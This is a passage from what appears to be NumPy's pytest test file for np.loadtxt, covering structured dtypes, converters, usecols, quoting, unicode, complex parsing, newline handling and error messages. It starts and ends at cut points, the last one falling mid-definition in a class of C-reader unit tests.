8.1, \"delta\", 0),\n            (5001, 4.4, \"epsilon\", -99),\n            (6543, 7.8, \"omega\", -1)\n        ],\n        dtype=dtype\n    )\n    return data, dtype, expected\n\n\n@pytest.mark.parametrize('skiprows', [0, 1, 2, 3])\ndef test_structured_dtype_and_skiprows_no_empty_lines(\n        skiprows, mixed_types_structured):\n    data, dtype, expected = mixed_types_structured\n    a = np.loadtxt(data, dtype=dtype, delimiter=\";\", skiprows=skiprows)\n    assert_array_equal(a, expected[skiprows:])\n\n\ndef test_unpack_structured(mixed_types_structured):\n    data, dtype, expected = mixed_types_structured\n\n    a, b, c, d = np.loadtxt(data, dtype=dtype, delimiter=\";\", unpack=True)\n    assert_array_equal(a, expected[\"f0\"])\n    assert_array_equal(b, expected[\"f1\"])\n    assert_array_equal(c, expected[\"f2\"])\n    assert_array_equal(d, expected[\"f3\"])\n\n\ndef test_structured_dtype_with_shape():\n    dtype = np.dtype([(\"a\", \"u1\", 2), (\"b\", \"u1\", 2)])\n    data = StringIO(\"0,1,2,3\\n6,7,8,9\\n\")\n    expected = np.array([((0, 1), (2, 3)), ((6, 7), (8, 9))], dtype=dtype)\n    assert_array_equal(np.loadtxt(data, delimiter=\",\", dtype=dtype), expected)\n\n\ndef test_structured_dtype_with_multi_shape():\n    dtype = np.dtype([(\"a\", \"u1\", (2, 2))])\n    data = StringIO(\"0 1 2 3\\n\")\n    expected = np.array([(((0, 1), (2, 3)),)], dtype=dtype)\n    assert_array_equal(np.loadtxt(data, dtype=dtype), expected)\n\n\ndef test_nested_structured_subarray():\n    # Test from gh-16678\n    point = np.dtype([('x', float), ('y', float)])\n    dt = np.dtype([('code', int), ('points', point, (2,))])\n    data = StringIO(\"100,1,2,3,4\\n200,5,6,7,8\\n\")\n    expected = np.array(\n        [\n            (100, [(1., 2.), (3., 4.)]),\n            (200, [(5., 6.), (7., 8.)]),\n        ],\n        dtype=dt\n    )\n    assert_array_equal(np.loadtxt(data, dtype=dt, delimiter=\",\"), expected)\n\n\ndef test_structured_dtype_offsets():\n    # An aligned structured dtype will have additional padding\n    dt = np.dtype(\"i1, i4, i1, i4, i1, i4\", align=True)\n    data = StringIO(\"1,2,3,4,5,6\\n7,8,9,10,11,12\\n\")\n    expected = np.array([(1, 2, 3, 4, 5, 6), (7, 8, 9, 10, 11, 12)], dtype=dt)\n    assert_array_equal(np.loadtxt(data, delimiter=\",\", dtype=dt), expected)\n\n\n@pytest.mark.parametrize(\"param\", (\"skiprows\", \"max_rows\"))\ndef test_exception_negative_row_limits(param):\n    \"\"\"skiprows and max_rows should raise for negative parameters.\"\"\"\n    with pytest.raises(ValueError, match=\"argument must be nonnegative\"):\n        np.loadtxt(\"foo.bar\", **{param: -3})\n\n\n@pytest.mark.parametrize(\"param\", (\"skiprows\", \"max_rows\"))\ndef test_exception_noninteger_row_limits(param):\n    with pytest.raises(TypeError, match=\"argument must be an integer\"):\n        np.loadtxt(\"foo.bar\", **{param: 1.0})\n\n\n@pytest.mark.parametrize(\n    \"data, shape\",\n    [\n        (\"1 2 3 4 5\\n\", (1, 5)),  # Single row\n        (\"1\\n2\\n3\\n4\\n5\\n\", (5, 1)),  # Single column\n    ]\n)\ndef test_ndmin_single_row_or_col(data, shape):\n    arr = np.array([1, 2, 3, 4, 5])\n    arr2d = arr.reshape(shape)\n\n    assert_array_equal(np.loadtxt(StringIO(data), dtype=int), arr)\n    assert_array_equal(np.loadtxt(StringIO(data), dtype=int, ndmin=0), arr)\n    assert_array_equal(np.loadtxt(StringIO(data), dtype=int, ndmin=1), arr)\n    assert_array_equal(np.loadtxt(StringIO(data), dtype=int, ndmin=2), arr2d)\n\n\n@pytest.mark.parametrize(\"badval\", [-1, 3, None, \"plate of shrimp\"])\ndef test_bad_ndmin(badval):\n    with pytest.raises(ValueError, match=\"Illegal value of ndmin keyword\"):\n        np.loadtxt(\"foo.bar\", ndmin=badval)\n\n\n@pytest.mark.parametrize(\n    \"ws\",\n    (\n            \"\\t\",  # tab\n            \"\\u2003\",  # em\n            \"\\u00A0\",  # non-break\n            \"\\u3000\",  # ideographic space\n    )\n)\ndef test_blank_lines_spaces_delimit(ws):\n    txt = StringIO(\n        f\"1 2{ws}30\\n\\n4 5 60\\n  {ws}  \\n7 8 {ws} 90\\n  # comment\\n3 2 1\"\n    )\n    # NOTE: It is unclear that the `  # comment` should succeed. Except\n    #       for delimiter=None, which should use any whitespace (and maybe\n    #       should just be implemented closer to Python\n    expected = np.array([[1, 2, 30], [4, 5, 60], [7, 8, 90], [3, 2, 1]])\n    assert_equal(\n        np.loadtxt(txt, dtype=int, delimiter=None, comments=\"#\"), expected\n    )\n\n\ndef test_blank_lines_normal_delimiter():\n    txt = StringIO('1,2,30\\n\\n4,5,60\\n\\n7,8,90\\n# comment\\n3,2,1')\n    expected = np.array([[1, 2, 30], [4, 5, 60], [7, 8, 90], [3, 2, 1]])\n    assert_equal(\n        np.loadtxt(txt, dtype=int, delimiter=',', comments=\"#\"), expected\n    )\n\n\n@pytest.mark.parametrize(\"dtype\", (float, object))\ndef test_maxrows_no_blank_lines(dtype):\n    txt = StringIO(\"1.5,2.5\\n3.0,4.0\\n5.5,6.0\")\n    res = np.loadtxt(txt, dtype=dtype, delimiter=\",\", max_rows=2)\n    assert_equal(res.dtype, dtype)\n    assert_equal(res, np.array([[\"1.5\", \"2.5\"], [\"3.0\", \"4.0\"]], dtype=dtype))\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\", (np.dtype(\"f8\"), np.dtype(\"i2\")))\ndef test_exception_message_bad_values(dtype):\n    txt = StringIO(\"1,2\\n3,XXX\\n5,6\")\n    msg = f\"could not convert string 'XXX' to {dtype} at row 1, column 2\"\n    with pytest.raises(ValueError, match=msg):\n        np.loadtxt(txt, dtype=dtype, delimiter=\",\")\n\n\ndef test_converters_negative_indices():\n    txt = StringIO('1.5,2.5\\n3.0,XXX\\n5.5,6.0')\n    conv = {-1: lambda s: np.nan if s == 'XXX' else float(s)}\n    expected = np.array([[1.5, 2.5], [3.0, np.nan], [5.5, 6.0]])\n    res = np.loadtxt(\n        txt, dtype=np.float64, delimiter=\",\", converters=conv, encoding=None\n    )\n    assert_equal(res, expected)\n\n\ndef test_converters_negative_indices_with_usecols():\n    txt = StringIO('1.5,2.5,3.5\\n3.0,4.0,XXX\\n5.5,6.0,7.5\\n')\n    conv = {-1: lambda s: np.nan if s == 'XXX' else float(s)}\n    expected = np.array([[1.5, 3.5], [3.0, np.nan], [5.5, 7.5]])\n    res = np.loadtxt(\n        txt,\n        dtype=np.float64,\n        delimiter=\",\",\n        converters=conv,\n        usecols=[0, -1],\n        encoding=None,\n    )\n    assert_equal(res, expected)\n\n    # Second test with variable number of rows:\n    res = np.loadtxt(StringIO('''0,1,2\\n0,1,2,3,4'''), delimiter=\",\",\n                     usecols=[0, -1], converters={-1: (lambda x: -1)})\n    assert_array_equal(res, [[0, -1], [0, -1]])\n\ndef test_ragged_usecols():\n    # usecols, and negative ones, work even with varying number of columns.\n    txt = StringIO(\"0,0,XXX\\n0,XXX,0,XXX\\n0,XXX,XXX,0,XXX\\n\")\n    expected = np.array([[0, 0], [0, 0], [0, 0]])\n    res = np.loadtxt(txt, dtype=float, delimiter=\",\", usecols=[0, -2])\n    assert_equal(res, expected)\n\n    txt = StringIO(\"0,0,XXX\\n0\\n0,XXX,XXX,0,XXX\\n\")\n    with pytest.raises(ValueError,\n                match=\"invalid column index -2 at row 1 with 2 columns\"):\n        # There is no -2 column in the second row:\n        np.loadtxt(txt, dtype=float, delimiter=\",\", usecols=[0, -2])\n\n\ndef test_empty_usecols():\n    txt = StringIO(\"0,0,XXX\\n0,XXX,0,XXX\\n0,XXX,XXX,0,XXX\\n\")\n    res = np.loadtxt(txt, dtype=np.dtype([]), delimiter=\",\", usecols=[])\n    assert res.shape == (3,)\n    assert res.dtype == np.dtype([])\n\n\n@pytest.mark.parametrize(\"c1\", [\"a\", \"\u306e\", \"\ud83e\uded5\"])\n@pytest.mark.parametrize(\"c2\", [\"a\", \"\u306e\", \"\ud83e\uded5\"])\ndef test_large_unicode_characters(c1, c2):\n    # c1 and c2 span ascii, 16bit and 32bit range.\n    txt = StringIO(f\"a,{c1},c,1.0\\ne,{c2},2.0,g\")\n    res = np.loadtxt(txt, dtype=np.dtype('U12'), delimiter=\",\")\n    expected = np.array(\n        [f\"a,{c1},c,1.0\".split(\",\"), f\"e,{c2},2.0,g\".split(\",\")],\n        dtype=np.dtype('U12')\n    )\n    assert_equal(res, expected)\n\n\ndef test_unicode_with_converter():\n    txt = StringIO(\"cat,dog\\n\u03b1\u03b2\u03b3,\u03b4\u03b5\u03b6\\nabc,def\\n\")\n    conv = {0: lambda s: s.upper()}\n    res = np.loadtxt(\n        txt,\n        dtype=np.dtype(\"U12\"),\n        converters=conv,\n        delimiter=\",\",\n        encoding=None\n    )\n    expected = np.array([['CAT', 'dog'], ['\u0391\u0392\u0393', '\u03b4\u03b5\u03b6'], ['ABC', 'def']])\n    assert_equal(res, expected)\n\n\ndef test_converter_with_structured_dtype():\n    txt = StringIO('1.5,2.5,Abc\\n3.0,4.0,dEf\\n5.5,6.0,ghI\\n')\n    dt = np.dtype([('m', np.int32), ('r', np.float32), ('code', 'U8')])\n    conv = {0: lambda s: int(10*float(s)), -1: lambda s: s.upper()}\n    res = np.loadtxt(txt, dtype=dt, delimiter=\",\", converters=conv)\n    expected = np.array(\n        [(15, 2.5, 'ABC'), (30, 4.0, 'DEF'), (55, 6.0, 'GHI')], dtype=dt\n    )\n    assert_equal(res, expected)\n\n\ndef test_converter_with_unicode_dtype():\n    \"\"\"\n    With the default 'bytes' encoding, tokens are encoded prior to being\n    passed to the converter. This means that the output of the converter may\n    be bytes instead of unicode as expected by `read_rows`.\n\n    This test checks that outputs from the above scenario are properly decoded\n    prior to parsing by `read_rows`.\n    \"\"\"\n    txt = StringIO('abc,def\\nrst,xyz')\n    conv = bytes.upper\n    res = np.loadtxt(\n            txt, dtype=np.dtype(\"U3\"), converters=conv, delimiter=\",\")\n    expected = np.array([['ABC', 'DEF'], ['RST', 'XYZ']])\n    assert_equal(res, expected)\n\n\ndef test_read_huge_row():\n    row = \"1.5, 2.5,\" * 50000\n    row = row[:-1] + \"\\n\"\n    txt = StringIO(row * 2)\n    res = np.loadtxt(txt, delimiter=\",\", dtype=float)\n    assert_equal(res, np.tile([1.5, 2.5], (2, 50000)))\n\n\n@pytest.mark.parametrize(\"dtype\", \"edfgFDG\")\ndef test_huge_float(dtype):\n    # Covers a non-optimized path that is rarely taken:\n    field = \"0\" * 1000 + \".123456789\"\n    dtype = np.dtype(dtype)\n    value = np.loadtxt([field], dtype=dtype)[()]\n    assert value == dtype.type(\"0.123456789\")\n\n\n@pytest.mark.parametrize(\n    (\"given_dtype\", \"expected_dtype\"),\n    [\n        (\"S\", np.dtype(\"S5\")),\n        (\"U\", np.dtype(\"U5\")),\n    ],\n)\ndef test_string_no_length_given(given_dtype, expected_dtype):\n    \"\"\"\n    The given dtype is just 'S' or 'U' with no length. In these cases, the\n    length of the resulting dtype is determined by the longest string found\n    in the file.\n    \"\"\"\n    txt = StringIO(\"AAA,5-1\\nBBBBB,0-3\\nC,4-9\\n\")\n    res = np.loadtxt(txt, dtype=given_dtype, delimiter=\",\")\n    expected = np.array(\n        [['AAA', '5-1'], ['BBBBB', '0-3'], ['C', '4-9']], dtype=expected_dtype\n    )\n    assert_equal(res, expected)\n    assert_equal(res.dtype, expected_dtype)\n\n\ndef test_float_conversion():\n    \"\"\"\n    Some tests that the conversion to float64 works as accurately as the\n    Python built-in `float` function. In a naive version of the float parser,\n    these strings resulted in values that were off by an ULP or two.\n    \"\"\"\n    strings = [\n        '0.9999999999999999',\n        '9876543210.123456',\n        '5.43215432154321e+300',\n        '0.901',\n        '0.333',\n    ]\n    txt = StringIO('\\n'.join(strings))\n    res = np.loadtxt(txt)\n    expected = np.array([float(s) for s in strings])\n    assert_equal(res, expected)\n\n\ndef test_bool():\n    # Simple test for bool via integer\n    txt = StringIO(\"1, 0\\n10, -1\")\n    res = np.loadtxt(txt, dtype=bool, delimiter=\",\")\n    assert res.dtype == bool\n    assert_array_equal(res, [[True, False], [True, True]])\n    # Make sure we use only 1 and 0 on the byte level:\n    assert_array_equal(res.view(np.uint8), [[1, 0], [1, 1]])\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\", np.typecodes[\"AllInteger\"])\ndef test_integer_signs(dtype):\n    dtype = np.dtype(dtype)\n    assert np.loadtxt([\"+2\"], dtype=dtype) == 2\n    if dtype.kind == \"u\":\n        with pytest.raises(ValueError):\n            np.loadtxt([\"-1\\n\"], dtype=dtype)\n    else:\n        assert np.loadtxt([\"-2\\n\"], dtype=dtype) == -2\n\n    for sign in [\"++\", \"+-\", \"--\", \"-+\"]:\n        with pytest.raises(ValueError):\n            np.loadtxt([f\"{sign}2\\n\"], dtype=dtype)\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\", np.typecodes[\"AllInteger\"])\ndef test_implicit_cast_float_to_int_fails(dtype):\n    txt = StringIO(\"1.0, 2.1, 3.7\\n4, 5, 6\")\n    with pytest.raises(ValueError):\n        np.loadtxt(txt, dtype=dtype, delimiter=\",\")\n\n@pytest.mark.parametrize(\"dtype\", (np.complex64, np.complex128))\n@pytest.mark.parametrize(\"with_parens\", (False, True))\ndef test_complex_parsing(dtype, with_parens):\n    s = \"(1.0-2.5j),3.75,(7+-5.0j)\\n(4),(-19e2j),(0)\"\n    if not with_parens:\n        s = s.replace(\"(\", \"\").replace(\")\", \"\")\n\n    res = np.loadtxt(StringIO(s), dtype=dtype, delimiter=\",\")\n    expected = np.array(\n        [[1.0-2.5j, 3.75, 7-5j], [4.0, -1900j, 0]], dtype=dtype\n    )\n    assert_equal(res, expected)\n\n\ndef test_read_from_generator():\n    def gen():\n        for i in range(4):\n            yield f\"{i},{2*i},{i**2}\"\n\n    res = np.loadtxt(gen(), dtype=int, delimiter=\",\")\n    expected = np.array([[0, 0, 0], [1, 2, 1], [2, 4, 4], [3, 6, 9]])\n    assert_equal(res, expected)\n\n\ndef test_read_from_generator_multitype():\n    def gen():\n        for i in range(3):\n            yield f\"{i} {i / 4}\"\n\n    res = np.loadtxt(gen(), dtype=\"i, d\", delimiter=\" \")\n    expected = np.array([(0, 0.0), (1, 0.25), (2, 0.5)], dtype=\"i, d\")\n    assert_equal(res, expected)\n\n\ndef test_read_from_bad_generator():\n    def gen():\n        for entry in [\"1,2\", b\"3, 5\", 12738]:\n            yield entry\n\n    with pytest.raises(\n            TypeError, match=r\"non-string returned while reading data\"):\n        np.loadtxt(gen(), dtype=\"i, i\", delimiter=\",\")\n\n\n@pytest.mark.skipif(not HAS_REFCOUNT, reason=\"Python lacks refcounts\")\ndef test_object_cleanup_on_read_error():\n    sentinel = object()\n    already_read = 0\n\n    def conv(x):\n        nonlocal already_read\n        if already_read > 4999:\n            raise ValueError(\"failed half-way through!\")\n        already_read += 1\n        return sentinel\n\n    txt = StringIO(\"x\\n\" * 10000)\n\n    with pytest.raises(ValueError, match=\"at row 5000, column 1\"):\n        np.loadtxt(txt, dtype=object, converters={0: conv})\n\n    assert sys.getrefcount(sentinel) == 2\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\ndef test_character_not_bytes_compatible():\n    \"\"\"Test exception when a character cannot be encoded as 'S'.\"\"\"\n    data = StringIO(\"\u2013\")  # == \\u2013\n    with pytest.raises(ValueError):\n        np.loadtxt(data, dtype=\"S5\")\n\n\n@pytest.mark.parametrize(\"conv\", (0, [float], \"\"))\ndef test_invalid_converter(conv):\n    msg = (\n        \"converters must be a dictionary mapping columns to converter \"\n        \"functions or a single callable.\"\n    )\n    with pytest.raises(TypeError, match=msg):\n        np.loadtxt(StringIO(\"1 2\\n3 4\"), converters=conv)\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\ndef test_converters_dict_raises_non_integer_key():\n    with pytest.raises(TypeError, match=\"keys of the converters dict\"):\n        np.loadtxt(StringIO(\"1 2\\n3 4\"), converters={\"a\": int})\n    with pytest.raises(TypeError, match=\"keys of the converters dict\"):\n        np.loadtxt(StringIO(\"1 2\\n3 4\"), converters={\"a\": int}, usecols=0)\n\n\n@pytest.mark.parametrize(\"bad_col_ind\", (3, -3))\ndef test_converters_dict_raises_non_col_key(bad_col_ind):\n    data = StringIO(\"1 2\\n3 4\")\n    with pytest.raises(ValueError, match=\"converter specified for column\"):\n        np.loadtxt(data, converters={bad_col_ind: int})\n\n\ndef test_converters_dict_raises_val_not_callable():\n    with pytest.raises(TypeError,\n                match=\"values of the converters dictionary must be callable\"):\n        np.loadtxt(StringIO(\"1 2\\n3 4\"), converters={0: 1})\n\n\n@pytest.mark.parametrize(\"q\", ('\"', \"'\", \"`\"))\ndef test_quoted_field(q):\n    txt = StringIO(\n        f\"{q}alpha, x{q}, 2.5\\n{q}beta, y{q}, 4.5\\n{q}gamma, z{q}, 5.0\\n\"\n    )\n    dtype = np.dtype([('f0', 'U8'), ('f1', np.float64)])\n    expected = np.array(\n        [(\"alpha, x\", 2.5), (\"beta, y\", 4.5), (\"gamma, z\", 5.0)], dtype=dtype\n    )\n\n    res = np.loadtxt(txt, dtype=dtype, delimiter=\",\", quotechar=q)\n    assert_array_equal(res, expected)\n\n\ndef test_quote_support_default():\n    \"\"\"Support for quoted fields is disabled by default.\"\"\"\n    txt = StringIO('\"lat,long\", 45, 30\\n')\n    dtype = np.dtype([('f0', 'U24'), ('f1', np.float64), ('f2', np.float64)])\n\n    with pytest.raises(ValueError, match=\"the number of columns changed\"):\n        np.loadtxt(txt, dtype=dtype, delimiter=\",\")\n\n    # Enable quoting support with non-None value for quotechar param\n    txt.seek(0)\n    expected = np.array([(\"lat,long\", 45., 30.)], dtype=dtype)\n\n    res = np.loadtxt(txt, dtype=dtype, delimiter=\",\", quotechar='\"')\n    assert_array_equal(res, expected)\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\ndef test_quotechar_multichar_error():\n    txt = StringIO(\"1,2\\n3,4\")\n    msg = r\".*must be a single unicode character or None\"\n    with pytest.raises(TypeError, match=msg):\n        np.loadtxt(txt, delimiter=\",\", quotechar=\"''\")\n\n\ndef test_comment_multichar_error_with_quote():\n    txt = StringIO(\"1,2\\n3,4\")\n    msg = (\n        \"when multiple comments or a multi-character comment is given, \"\n        \"quotes are not supported.\"\n    )\n    with pytest.raises(ValueError, match=msg):\n        np.loadtxt(txt, delimiter=\",\", comments=\"123\", quotechar='\"')\n    with pytest.raises(ValueError, match=msg):\n        np.loadtxt(txt, delimiter=\",\", comments=[\"#\", \"%\"], quotechar='\"')\n\n    # A single character string in a tuple is unpacked though:\n    res = np.loadtxt(txt, delimiter=\",\", comments=(\"#\",), quotechar=\"'\")\n    assert_equal(res, [[1, 2], [3, 4]])\n\n\ndef test_structured_dtype_with_quotes():\n    data = StringIO(\n        (\n            \"1000;2.4;'alpha';-34\\n\"\n            \"2000;3.1;'beta';29\\n\"\n            \"3500;9.9;'gamma';120\\n\"\n            \"4090;8.1;'delta';0\\n\"\n            \"5001;4.4;'epsilon';-99\\n\"\n            \"6543;7.8;'omega';-1\\n\"\n        )\n    )\n    dtype = np.dtype(\n        [('f0', np.uint16), ('f1', np.float64), ('f2', 'S7'), ('f3', np.int8)]\n    )\n    expected = np.array(\n        [\n            (1000, 2.4, \"alpha\", -34),\n            (2000, 3.1, \"beta\", 29),\n            (3500, 9.9, \"gamma\", 120),\n            (4090, 8.1, \"delta\", 0),\n            (5001, 4.4, \"epsilon\", -99),\n            (6543, 7.8, \"omega\", -1)\n        ],\n        dtype=dtype\n    )\n    res = np.loadtxt(data, dtype=dtype, delimiter=\";\", quotechar=\"'\")\n    assert_array_equal(res, expected)\n\n\ndef test_quoted_field_is_not_empty():\n    txt = StringIO('1\\n\\n\"4\"\\n\"\"')\n    expected = np.array([\"1\", \"4\", \"\"], dtype=\"U1\")\n    res = np.loadtxt(txt, delimiter=\",\", dtype=\"U1\", quotechar='\"')\n    assert_equal(res, expected)\n\ndef test_quoted_field_is_not_empty_nonstrict():\n    # Same as test_quoted_field_is_not_empty but check that we are not strict\n    # about missing closing quote (this is the `csv.reader` default also)\n    txt = StringIO('1\\n\\n\"4\"\\n\"')\n    expected = np.array([\"1\", \"4\", \"\"], dtype=\"U1\")\n    res = np.loadtxt(txt, delimiter=\",\", dtype=\"U1\", quotechar='\"')\n    assert_equal(res, expected)\n\ndef test_consecutive_quotechar_escaped():\n    txt = StringIO('\"Hello, my name is \"\"Monty\"\"!\"')\n    expected = np.array('Hello, my name is \"Monty\"!', dtype=\"U40\")\n    res = np.loadtxt(txt, dtype=\"U40\", delimiter=\",\", quotechar='\"')\n    assert_equal(res, expected)\n\n\n@pytest.mark.parametrize(\"data\", (\"\", \"\\n\\n\\n\", \"# 1 2 3\\n# 4 5 6\\n\"))\n@pytest.mark.parametrize(\"ndmin\", (0, 1, 2))\n@pytest.mark.parametrize(\"usecols\", [None, (1, 2, 3)])\ndef test_warn_on_no_data(data, ndmin, usecols):\n    \"\"\"Check that a UserWarning is emitted when no data is read from input.\"\"\"\n    if usecols is not None:\n        expected_shape = (0, 3)\n    elif ndmin == 2:\n        expected_shape = (0, 1)  # guess a single column?!\n    else:\n        expected_shape = (0,)\n\n    txt = StringIO(data)\n    with pytest.warns(UserWarning, match=\"input contained no data\"):\n        res = np.loadtxt(txt, ndmin=ndmin, usecols=usecols)\n    assert res.shape == expected_shape\n\n    with NamedTemporaryFile(mode=\"w\") as fh:\n        fh.write(data)\n        fh.seek(0)\n        with pytest.warns(UserWarning, match=\"input contained no data\"):\n            res = np.loadtxt(txt, ndmin=ndmin, usecols=usecols)\n        assert res.shape == expected_shape\n\n@pytest.mark.parametrize(\"skiprows\", (2, 3))\ndef test_warn_on_skipped_data(skiprows):\n    data = \"1 2 3\\n4 5 6\"\n    txt = StringIO(data)\n    with pytest.warns(UserWarning, match=\"input contained no data\"):\n        np.loadtxt(txt, skiprows=skiprows)\n\n\n@pytest.mark.parametrize([\"dtype\", \"value\"], [\n        (\"i2\", 0x0001), (\"u2\", 0x0001),\n        (\"i4\", 0x00010203), (\"u4\", 0x00010203),\n        (\"i8\", 0x0001020304050607), (\"u8\", 0x0001020304050607),\n        # The following values are constructed to lead to unique bytes:\n        (\"float16\", 3.07e-05),\n        (\"float32\", 9.2557e-41), (\"complex64\", 9.2557e-41+2.8622554e-29j),\n        (\"float64\", -1.758571353180402e-24),\n        # Here and below, the repr side-steps a small loss of precision in\n        # complex `str` in PyPy (which is probably fine, as repr works):\n        (\"complex128\", repr(5.406409232372729e-29-1.758571353180402e-24j)),\n        # Use integer values that fit into double.  Everything else leads to\n        # problems due to longdoubles going via double and decimal strings\n        # causing rounding errors.\n        (\"longdouble\", 0x01020304050607),\n        (\"clongdouble\", repr(0x01020304050607 + (0x00121314151617 * 1j))),\n        (\"U2\", \"\\U00010203\\U000a0b0c\")])\n@pytest.mark.parametrize(\"swap\", [True, False])\ndef test_byteswapping_and_unaligned(dtype, value, swap):\n    # Try to create \"interesting\" values within the valid unicode range:\n    dtype = np.dtype(dtype)\n    data = [f\"x,{value}\\n\"]  # repr as PyPy `str` truncates some\n    if swap:\n        dtype = dtype.newbyteorder()\n    full_dt = np.dtype([(\"a\", \"S1\"), (\"b\", dtype)], align=False)\n    # The above ensures that the interesting \"b\" field is unaligned:\n    assert full_dt.fields[\"b\"][1] == 1\n    res = np.loadtxt(data, dtype=full_dt, delimiter=\",\", encoding=None,\n                     max_rows=1)  # max-rows prevents over-allocation\n    assert res[\"b\"] == dtype.type(value)\n\n\n@pytest.mark.parametrize(\"dtype\",\n        np.typecodes[\"AllInteger\"] + \"efdFD\" + \"?\")\ndef test_unicode_whitespace_stripping(dtype):\n    # Test that all numeric types (and bool) strip whitespace correctly\n    # \\u202F is a narrow no-break space, `\\n` is just a whitespace if quoted.\n    # Currently, skip float128 as it did not always support this and has no\n    # \"custom\" parsing:\n    txt = StringIO(' 3 ,\"\\u202F2\\n\"')\n    res = np.loadtxt(txt, dtype=dtype, delimiter=\",\", quotechar='\"')\n    assert_array_equal(res, np.array([3, 2]).astype(dtype))\n\n\n@pytest.mark.parametrize(\"dtype\", \"FD\")\ndef test_unicode_whitespace_stripping_complex(dtype):\n    # Complex has a few extra cases since it has two components and\n    # parentheses\n    line = \" 1 , 2+3j , ( 4+5j ), ( 6+-7j )  , 8j , ( 9j ) \\n\"\n    data = [line, line.replace(\" \", \"\\u202F\")]\n    res = np.loadtxt(data, dtype=dtype, delimiter=',')\n    assert_array_equal(res, np.array([[1, 2+3j, 4+5j, 6-7j, 8j, 9j]] * 2))\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\", \"FD\")\n@pytest.mark.parametrize(\"field\",\n        [\"1 +2j\", \"1+ 2j\", \"1+2 j\", \"1+-+3\", \"(1j\", \"(1\", \"(1+2j\", \"1+2j)\"])\ndef test_bad_complex(dtype, field):\n    with pytest.raises(ValueError):\n        np.loadtxt([field + \"\\n\"], dtype=dtype, delimiter=\",\")\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\",\n            np.typecodes[\"AllInteger\"] + \"efgdFDG\" + \"?\")\ndef test_nul_character_error(dtype):\n    # Test that a \\0 character is correctly recognized as an error even if\n    # what comes before is valid (not everything gets parsed internally).\n    if dtype.lower() == \"g\":\n        pytest.xfail(\"longdouble/clongdouble assignment may misbehave.\")\n    with pytest.raises(ValueError):\n        np.loadtxt([\"1\\000\"], dtype=dtype, delimiter=\",\", quotechar='\"')\n\n\n@pytest.mark.skipif(IS_PYPY and sys.implementation.version <= (7, 3, 8),\n                    reason=\"PyPy bug in error formatting\")\n@pytest.mark.parametrize(\"dtype\",\n        np.typecodes[\"AllInteger\"] + \"efgdFDG\" + \"?\")\ndef test_no_thousands_support(dtype):\n    # Mainly to document behaviour, Python supports thousands like 1_1.\n    # (e and G may end up using different conversion and support it, this is\n    # a bug but happens...)\n    if dtype == \"e\":\n        pytest.skip(\"half assignment currently uses Python float converter\")\n    if dtype in \"eG\":\n        pytest.xfail(\"clongdouble assignment is buggy (uses `complex`?).\")\n\n    assert int(\"1_1\") == float(\"1_1\") == complex(\"1_1\") == 11\n    with pytest.raises(ValueError):\n        np.loadtxt([\"1_1\\n\"], dtype=dtype)\n\n\n@pytest.mark.parametrize(\"data\", [\n    [\"1,2\\n\", \"2\\n,3\\n\"],\n    [\"1,2\\n\", \"2\\r,3\\n\"]])\ndef test_bad_newline_in_iterator(data):\n    # In NumPy <=1.22 this was accepted, because newlines were completely\n    # ignored when the input was an iterable.  This could be changed, but right\n    # now, we raise an error.\n    msg = \"Found an unquoted embedded newline within a single line\"\n    with pytest.raises(ValueError, match=msg):\n        np.loadtxt(data, delimiter=\",\")\n\n\n@pytest.mark.parametrize(\"data\", [\n    [\"1,2\\n\", \"2,3\\r\\n\"],  # a universal newline\n    [\"1,2\\n\", \"'2\\n',3\\n\"],  # a quoted newline\n    [\"1,2\\n\", \"'2\\r',3\\n\"],\n    [\"1,2\\n\", \"'2\\r\\n',3\\n\"],\n])\ndef test_good_newline_in_iterator(data):\n    # The quoted newlines will be untransformed here, but are just whitespace.\n    res = np.loadtxt(data, delimiter=\",\", quotechar=\"'\")\n    assert_array_equal(res, [[1., 2.], [2., 3.]])\n\n\n@pytest.mark.parametrize(\"newline\", [\"\\n\", \"\\r\", \"\\r\\n\"])\ndef test_universal_newlines_quoted(newline):\n    # Check that universal newline support within the tokenizer is not applied\n    # to quoted fields.  (note that lines must end in newline or quoted\n    # fields will not include a newline at all)\n    data = ['1,\"2\\n\"\\n', '3,\"4\\n', '1\"\\n']\n    data = [row.replace(\"\\n\", newline) for row in data]\n    res = np.loadtxt(data, dtype=object, delimiter=\",\", quotechar='\"')\n    assert_array_equal(res, [['1', f'2{newline}'], ['3', f'4{newline}1']])\n\n\ndef test_null_character():\n    # Basic tests to check that the NUL character is not special:\n    res = np.loadtxt([\"1\\0002\\0003\\n\", \"4\\0005\\0006\"], delimiter=\"\\000\")\n    assert_array_equal(res, [[1, 2, 3], [4, 5, 6]])\n\n    # Also not as part of a field (avoid unicode/arrays as unicode strips \\0)\n    res = np.loadtxt([\"1\\000,2\\000,3\\n\", \"4\\000,5\\000,6\"],\n                     delimiter=\",\", dtype=object)\n    assert res.tolist() == [[\"1\\000\", \"2\\000\", \"3\"], [\"4\\000\", \"5\\000\", \"6\"]]\n\n\ndef test_iterator_fails_getting_next_line():\n    class BadSequence:\n        def __len__(self):\n            return 100\n\n        def __getitem__(self, item):\n            if item == 50:\n                raise RuntimeError(\"Bad things happened!\")\n            return f\"{item}, {item+1}\"\n\n    with pytest.raises(RuntimeError, match=\"Bad things happened!\"):\n        np.loadtxt(BadSequence(), dtype=int, delimiter=\",\")\n\n\nclass TestCReaderUnitTests:\n    # These are internal tests for path that should not be possible to hit\n    # unless things go very very wrong somewhere.\n    def 